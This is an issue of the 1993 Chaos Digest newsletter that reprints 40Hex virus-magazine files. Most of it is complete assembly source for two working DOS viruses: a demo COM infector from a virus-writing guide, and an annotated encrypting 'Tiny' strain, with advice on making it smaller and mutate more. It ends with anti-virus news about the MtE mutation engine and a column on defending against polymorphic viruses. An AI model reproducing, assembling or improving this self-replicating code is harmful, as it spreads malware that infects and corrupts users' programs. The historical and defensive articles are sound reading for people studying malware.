Copy Link
Add to Bookmark
Report
Chaos Digest Volume 01 Numero 60
Chaos Digest Mardi 22 Juin 1993 Volume 1 : Numero 60
ISSN 1244-4901
Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
Archiviste: Yves-Marie Crabbe
Co-Redacteurs: Arnaud Bigare, Stephane Briere
TABLE DES MATIERES, #1.60 (22 Juin 1993)
File 1--40H VMag Number 7 Volume 2 Issue 3 #003(2)-005(1) (reprint)
Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
linux-activists-request@niksula.hut.fi
with a mail header or first line containing the following informations:
X-Mn-Admin: join CHAOS_DIGEST
The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
groups.
Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893. Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:
* kragar.eff.org [192.88.144.4] in /pub/cud/chaos
* uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
* halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
* ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
* cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
* ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
* nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
* orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission. Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications. Articles are preferred to short responses. Please
avoid quoting previous posts unless absolutely necessary.
DISCLAIMER: The views represented herein do not necessarily represent
the views of the moderators. Chaos Digest contributors
assume all responsibility for ensuring that articles
submitted do not violate copyright protections.
----------------------------------------------------------------------
Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 7 Volume 2 Issue 3 #003(2)-005(1) (reprint)
--------Tear line----------------------------------------------------------
DumbVirus segment
Assume CS:DumbVirus
Org 100h ; account for PSP
;Dumb Virus - 40Hex demo virus
;Assemble with TASM /m2
Start: db 0e9h ; jmp duh
dw 0
;This is where the virus starts
duh: call next
next: pop bp ; bp holds current location
sub bp, offset next ; calculate net change
;Restore the original first three bytes
lea si, [bp+offset stuff]
mov di, 100h
;Put 100h on the stack for the retn later
;This will allow for the return to the beginning of the file
push di
movsw
movsb
;Change DTA from default (otherwise Findfirst/next will destroy
;commandline parametres
lea dx, [bp+offset dta]
call set_dta
mov ah, 4eh ;Find first
lea dx, [bp+masker] ;search for '*.COM',0
xor cx, cx ;attribute mask - this is unnecessary
tryanother:
int 21h
jc quit ;Quit on error
;Open file for read/write
;Note: This fails on read-only files
mov ax, 3D02h
lea dx, [bp+offset dta+30] ;File name is located in DTA
int 21h
xchg ax, bx
;Read in the first three bytes
mov ah, 3fh
lea dx, [bp+stuff]
mov cx, 3
int 21h
;Check for previous infection
mov ax, word ptr [bp+dta+26] ;ax = filesize
mov cx, word ptr [bp+stuff+1] ;jmp location
add cx, eov - duh + 3 ;convert to filesize
cmp ax, cx ;if same, already infected
jz close ;so quit out of here
;Calculate the offset of the jmp
sub ax, 3 ;ax = filesize - 3
mov word ptr [bp+writebuffer], ax
;Go to the beginning of the file
xor al, al
call f_ptr
;Write the three bytes
mov ah, 40h
mov cx, 3
lea dx, [bp+e9]
int 21h
;Go to the end of the file
mov al, 2
call f_ptr
; And write the rest of the virus
mov ah, 40h
mov cx, eov - duh
lea dx, [bp+duh]
int 21h
close:
mov ah, 3eh
int 21h
;Try infecting another file
mov ah, 4fh ;Find next
jmp short tryanother
;Restore the DTA and return control to the original program
quit: mov dx, 80h ;Restore current DTA to
;the default @ PSP:80h
set_dta:
mov ah, 1ah ;Set disk transfer address
int 21h
retn
f_ptr: mov ah, 42h
xor cx, cx
cwd ;equivalent to: xor dx, dx
int 21h
retn
masker db '*.com',0
;Original three bytes of the infected file
;Currently holds a INT 20h instruction and a null byte
stuff db 0cdh, 20h, 0
e9 db 0e9h
eov equ $ ;End of the virus
;The following variables are stored in the heap space (the area between
;the stack and the code) and are not part of the virus that is written
;to files.
writebuffer dw ? ;Scratch area holding the
;JMP offset
dta db 42 dup (?)
DumbVirus ENDS
END Start
---------------------------------------------------------------------------
Do not worry if not everything makes sense to you just yet. I tried to
keep the example virus as simple as possible, although, admittedly, the
explanations were a bit cryptic. It should all come to you in time.
For a more complete discussion of nonoverwriting virii, pick up a copy of
each of the first three parts of my virus writing guide (the phunky, the
chunky, and the crunchy), where you may find a thorough tutorial on
nonresident virii suitable for any beginning virus programmer.
+++++
40Hex Number 7 Volume 2 Issue 3 File 004
I picked up a file touted as "a very small virus" and decided to figure out
what this virus could be. SCAN86-B turned up nothing, so I had to disassemble
it. The name was intriguing -- muttiny. I thought it was a misspelling of
mutiny, but I was terribly wrong. After a minute, I had infected a carrier
file and decrypted the virus. It took but one minute more to disassemble and
maybe half an hour to comment. Argh! It is yet another TINY strain!
I do not know who the author is, but I had a few comments to make. This
virus, quite frankly, sucks. It is a pitiful excuse for programming. Many,
many improvements can be made. I have put comments on how this virus could
be made much mo' bettah. I must tell whoever wrote the virus that TINY is
not so tiny anymore. The original TINYs were 150 bytes long. Now look at
it! It is over twice that size! I suppose this virus is the "MUTated TINY"
variant, but I'd prefer to call it "Messed Up Totally TINY". The author MUST
clean up the virus before distributing it to everyone! One further
improvement would be to make this virus a generic COM infector, which can be
done in well under 200 bytes, with all the "functionality" of the current
version. Note that this time I did not rewrite it, a la Tiny F 1.1, but
rather merely suggested improvements. This way, you can easily see the bugs
for yourself and learn from the author's pitfalls.
Dark Angel of PHALCON/SKISM 4/23/92
P.S. This is a byte-to-byte match of the virus I picked up -- even the
labels are in their correct offsets. The file below should match
the source code of the original carrier file exactly. Assemble w/
TASM /m2.
P.P.S. This is the last Tiny strain to be published in 40Hex. For some
Reason, Tiny strains seem to come up again and again over here. I
think it is hightime to put the Tiny series in its grave where it
belongs. Amen. So be it. DA
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ;jmp startvir
restorehere: int 20h
idword: dw 990h
;The next line is incredibly pointless. It is a holdover from one
;of the original TINYs, where the id was 7, 8, 9. The author can
;easily save one byte merely by deleting this line.
db 09h
startvir:
call oldtrick ;Standard location-finder
oldtrick: pop si
;The following statement is a bug -- well, not really a bug, just
;extraneous code. The value pushed on the stack in the following
;line is NEVER popped off. This is messy programming, as one byte
;could be saved by removing the statement.
push si
sub si,offset oldtrick
call encrypt ;Decrypt virus
call savepsp ;and save the PSP
;NOTE: The entire savepsp/restorepsp procedures are unnecessary.
See the procedures at the end for further details.
jmp short findencryptval ;Go to th rest of the virus
;The next line is another example of messy programming -- it is a
;NOP inserted by MASM during assembly. Running this file through
;TASM with the /m2 switch should eliminate such "fix-ups."
nop
;The next line leaves me guessing as to the author's true intent.
db 0
encryptval dw 0h
encrypt:
push bx ;Save handle
;The following two lines of code could be condensed into one:
; lea bx, [si+offset startencrypt]
;Once again, poor programming style, though there's nothing wrong
;with the code.
mov bx,offset startencrypt
add bx,si
;Continueencrypt is implemented as a jmp-type loop. Although it's
;fine to code it this way, it's probably easier to code using the
;loop statement. Upon close inspection, one finds the loop to be
;flawed. Note the single inc bx statement. This essentially makes
;the encryption value a a byte instead of a word, which decreases
;the number of mutations from 65,535 to 255. Once again, this is
;just poor programming, very easily rectified with another inc bx
;statement. Another optimization could be made. Use a
; mov dx, [si+encryptval]
;to load up the encryption value before the loop, and replace the
;three lines following continueencrypt with a simple:
; xor word ptr [bx], dx
continueencrypt:
mov ax,[bx]
xor ax,word ptr [si+encryptval]
mov [bx],ax
inc bx
;The next two lines should be executed BEFORE continueencrypt. As
;it stands right now, they are recalculated every iteration which
;slows down execution somewhat. Furthermore, the value calculated
;is much too large and this increases execution time. Yet another
;improvement would be the merging of the mov/add pair to the much
;cleaner lea cx, [si+offset endvirus].
mov cx,offset veryend ;Calculate end of
add cx,si ;encryption: Note
cmp bx,cx ;the value is 246
jle continueencrypt ;bytes too large.
pop bx
ret
writerest: ;Tack on the virus to the
call encrypt ;end of the file.
mov ah,40h
mov cx,offset endvirus - offset idword
lea dx,[si+offset idword] ;Write starting from the id
int 21h ;word
call encrypt
ret
startencrypt:
;This is where the encrypted area begins. This could be moved to
;where the ret is in procedure writerest, but it is not necessary
;since it won't affect the "scannability" of the virus.
findencryptval:
mov ah,2Ch ;Get random #
int 21h ;CX=hr/min dx=sec
;The following chunk of code puzzles me. I admit it, I am totally
;lost as to its purpose.
cmp word ptr [si+offset encryptval],0
je step_two
cmp word ptr [si+offset encryptval+1],0
je step_two
cmp dh,0Fh
jle foundencryptionvalue
step_two: ;Check to see if any
cmp dl,0 ;part of the encryption
je findencryptval ;value is 0 and if so,
cmp dh,0 ;find another value.
je findencryptval
mov [si+offset encryptval],dx
foundencryptionvalue:
mov bp,[si+offset oldjmp] ;Set up bp for
add bp,103h ;jmp later
lea dx,[si+filemask] ;'*.COM',0
xor cx,cx ;Attributes
mov ah,4Eh ;Find first
tryanother:
int 21h
jc quit_virus ;If none found, exit
mov ax,3D02h ;Open read/write
mov dx,9Eh ;In default DTA
int 21h
mov cx,3
mov bx,ax ;Swap file handle register
lea dx,[si+offset buffer]
mov di,dx
call read ;Read 3 bytes
cmp byte ptr [di],0E9h ;Is it a jmp?
je infect
findnext:
mov ah,4Fh ;If not, find next
jmp short tryanother
infect:
mov ax,4200h ;Move file pointer
mov dx,[di+1] ;to jmp location
mov [si+offset oldjmp],dx ;and save old jmp
xor cx,cx ;location
call int21h
jmp short skipcheckinf
;Once again, we meet an infamous MASM-NOP.
nop
;I don't understand why checkinf is implemented as a procedure as
;it is executed but once. It is a waste of code space to do such
;a thing. The ret and call are both extra, wasting four bytes. An
;additional three bytes were wasted on the JMP skipping checkinf.
;In a program called "Tiny," a wasted seven bytes is rather large
;and should not exist. I have written a virus of half the length
;of this virus which is a generic COM infector. There is just too
;too much waste in this program.
checkinf:
cmp word ptr [di],990h ;Is it already
je findnext ;infected?
;The je statement above presents another problem. It leaves stuff
;on the stack from the call. This is, once again, not a critical
;error but nevertheless it is extremely sloppy behavior.
xor dx,dx
xor cx,cx
mov ax,4202h
call int21h ;Goto end of file
ret
skipcheckinf:
mov cx,2
mov dx,di
call read ;read 2 bytes
call checkinf
;The next check is extraneous. No COM file is larger than 65,535
;bytes before infection simply because it is "illegal." Yet ano-
;ther waste of code. Even if one were to use this useless check,
;it should be implemented, to save space, as or dx, dx.
cmp dx,0 ;Check if too big
jne findnext
cmp ah,0FEh ;Check again if too big
jae findnext
mov [si+storejmp],ax ;Save new jmp
call writerest ; location
mov ax,4200h ;Go to offset
mov dx,1 ;1 in the file
xor cx,cx
call int21h
mov ah,40h ;and write the new
mov cx,2 ;jmp location
lea dx,[si+storejmp]
call int21h
;I think it is quite obvious that the next line is pointless. It
;is a truly moronic waste of two bytes.
jc closefile
closefile:
mov ah,3Eh ;Close the file
call int21h
quit_virus:
call restorepsp
jmp bp
read:
mov ah,3Fh ;Read file
;I do not understand why all the int 21h calls are done with this
;procedure. It is a waste of space. A normal int 21h call is two
;bytes long while it's three bytes just to call this procedure!
int21h:
int 21h
ret
db 'Made in England'
;Note: The comments for savepsp also apply to restorepsp.
;This code could have easily been changed to a set active DTA INT
;21h call (AH = 1Ah). It would have saved many, many bytes.
savepsp:
mov di,0
;The following is a bug. It should be
; mov cx, 50h
;since the author decided to use words instead of bytes.
mov cx,100h
push si
;The loop below is dumb. A simple rep movsw statement would have
;sufficed. Instead, countless bytes are wasted on the loop.
storebytes:
mov ax,[di]
mov word ptr [si+pspstore],ax
add si,2
add di,2
loop storebytes
pop si
ret
restorepsp:
mov di,0
mov cx,100h ;Restore 200h bytes
push si
restorebytes:
mov ax,word ptr [si+pspstore]
mov [di],ax
add si,2
add di,2
loop restorebytes
pop si
ret
oldjmp dw 0
filemask db '*.COM',0
idontknow1 db 66h ;Waste of one byte
buffer db 00h, 00h, 01h ;Waste of three bytes
storejmp dw 0 ;Waste of two bytes
;endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2 db ?, ?
pspstore db 200 dup (?) ;Should actually be
idontknow3 db 2ch dup (?) ;100h bytes long.
veryend: ;End of encryption
muttiny ends
end start
+++++
40Hex Number 7 Volume 2 Issue 3 File 005
Well, by far the most incredible creation in the virus community that
has surfaced is the MtE. We aren't going to go into details about it, but
we are definately going to give you as much news as we have collected.
In this file:
Article 1: A note from Vesselin Bontchev
Article 2: Steve Gibson tells us how to avoid polymorphic viruses
Article 3: An article from Newsday about McAfee
Article 4: NIST Expert Warns Feds to Find Better Ways to Head Off Viruses
Article 5: Some messages posted on Smartnet about MtE
<<<<<<<<<<
Article 1:
<<<<<<<<<<
====From the Virus-L Digest via NIST=====
Date: 10 Feb 92 20:40:23 +0000
>From: bontchev fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
Subject: Re: DAV/Sourcer/Rape (PC)
RUTSTEIN HWS.BITNET writes:
> First, has anyone heard about Dark Avenger's latest? I got a report
> secondhand last week that he'd come up with a new gem...I believe the
> report came from a researcher in the UK. Fridrik/Vesselin/others, can
> you confirm/deny this report?
Yeah, I can confirm it... :-( And it is a first-hand information,
since I have it. The long-rumored Mutating Engine is real and is
circulated to several virus exchange BBSes... :-(( The bad news is
that the damn thing really mutates, no kidding! It comes as an OBJ
file, which is supposed to be linked to any virus, with a detailed
do-it-yourself guide, and with a demo virus. The demo virus is in
source, but the source of the Mutating Engine (called MtE) is not
provided. According to the docs, what we have is version 0.90-beta of
the MtE, but version 0.91 is also known to exist... I'm wondering what
will be implemented more in version 1.00... :-(((
The damn thing is really difficult to crack! I mean, it contains no
encryption or anti-debugging and anti-disassembling thechniques, but
it mutates too well... I have observed changing of encryption
algorithms, random bytes padding, usage of different ways to express
one and the same algorithm (yeah, that's right - different ways, not
just modifying the opcodes and inserting do-nothing instructions)...
The currently most mutating virus (V2P6Z) is a toy compared to it...
The worst of all is that just anybody can sit and use it to create a
virus. Well, some experience in assembly language programming is
needed, so the kids from RABID, NukE, and the other punk virus writing
groups that use to write overwriting viruses in high-level languages
will have a little bit of trouble to learn how to use it... But a very
little bit!
Currently there are only two viruses, which use the MtE. The first is
the demo virus in the package (a silly, non-resident, COM file
infector, infects only the files in the current directory), and a
virus, called Pogue, which has been available on some VX BBSes in the
USA. McAfee's SCAN 86-B claims to be able to detect the Pogue virus.
Unfortunately, I haven't had the time to verify this (I recieved the
virus just two days ago). There are reports that in fact not all
possible variants of the virus are detected. SCAN 86-B DOES NOT detect
the MtE for sure - I tested it on the demo virus supplied with the
package.
As a conclusion, don't panic. Currently there are only two viruses,
using the MtE and both are too silly to pose a serious threat. Copies
of the MtE have been provided to several anti-virus researchers (no,
don't write me to ask for a copy, you won't get one), including McAfee
Associates, Fridrik Skulason, Dr. Solomon, etc., so there are a lot of
people working right now on the problem. The good news is that once we
learn to recognize the MtE, we'll be able to detect -any- new viruses
that are using it.
Oh, yes, just out of interest. The whole package comes in a neat ZIP
archive, with -AV code for "CrazySoft, Inc.". The Bulgarian hackers
have demonstrated again that the -AV authenticity verification in
PKZIP is just crap, so PLEASE DO NOT RELY ON IT!
<<<<<<<<<<
Article 2:
<<<<<<<<<<
>From InfoWorld Magazine
Tech Talk
by Steve Gibson
AT LAST, HOW TO PROTECT YOURSELF FROM POLYMORPHIC VIRUSES
My past two columns concerning the threat presented by polymorphic
viruses triggered an informative conversation with the industry's
chief virus researcher, John McAfee. During that conversation I
learned that things are even worse than I'd supposed.
It turns out that the "Dark Avenger" bulletin board system, which
disseminates virus code, has recently published source code for the
Dark Avenger Mutation Engine. The Mutation Engine is nothing less than
a first-class code kernel that can be tacked onto any existing or
future virus to turn it into a nearly impossible to detect
self-encrypting virus.
My examination of a sample virus encrypted by the Mutation Engine
provided by McAfee revealed alarming capabilities. Not only do the
Dark Avenger Mutation Engine viruses employ all of the capabilities I
outlined in last week's column, but they also use a sophisticated
reversible encryption algorithm generator.
The Mutation Engine uses a meta-language-driven algorithm generator
that allows it to create an infinite variety of completely original
encryption algorithms. The resulting unique algorithms are then salted
with superfluous instructions, resulting in decryption algorithms
varying from 5 to 200 bytes long.
Because McAfee has already received many otherwise known viruses
that are now encapsulated with the Mutation Engine's polymorphic
encryption, it's clear that viruses of this new breed are now
traveling among us.
It is clear that the game is forever changed; the sophistication of
the Mutation Engine is amazing and staggering. Simple pattern-matching
virus scanners will still reliably detect the several thousand
well-known viruses; however, these scanners are completely incapable
of detecting any of the growing number of viruses now being cloaked by
the Dark Avenger Mutation Engine.
So what can we ultimately do to thwart current and future software
viruses? After brainstorming through the problem with some of our
industry's brightest developers and systems architects, I've reached
several conclusions.
First, scanning for known viruses within executable program code is
fundamentally a dead end. It's the only solution we have for the
moment, but the detectors can only find the viruses they are aware of,
and new developments such as the Mutation Engine render even these
measures obsolete.
Second, detecting the reproductive proclivities of viruses on the
prowl is prone to frequent false alarms and ultimately complete
avoidance. With time the viruses will simply circumvent the detectors,
at which time the detectors will only misfire for self-modifying
benign programs.
Third, the Achilles' heel of our current DOS-based PC is its
entirely unprotected nature. As long as executable programs (such as
benign and helpful system utilities) are able to freely and directly
access and alter the operating system and its file system, our
machines will be vulnerable to deliberate attack.
So here's my recommendation.
Only a next-generation protected-mode operating system can enforce
the levels of security required to provide complete viral immunity. By
marking files and code overlays as "read and execute only" and by
prohibiting the sorts of direct file system tampering performed by our
current crop of system utilities, such operating systems will be able
to provide their client programs with complete viral immunity.
The final Achilles' heel of a protected-mode operating system is the
system boot process, before and during which it is still potentially
vulnerable. By changing the system ROM BIOS' boot priority to favor
hard disk over floppy, this last viral path can be closed and blocked
as well.
(Steve Gibson is the developer and publisher of SpinRite and
president of Gibson Research Corp., based in Irvine California...)
------------------------------
End of Chaos Digest #1.60
************************************
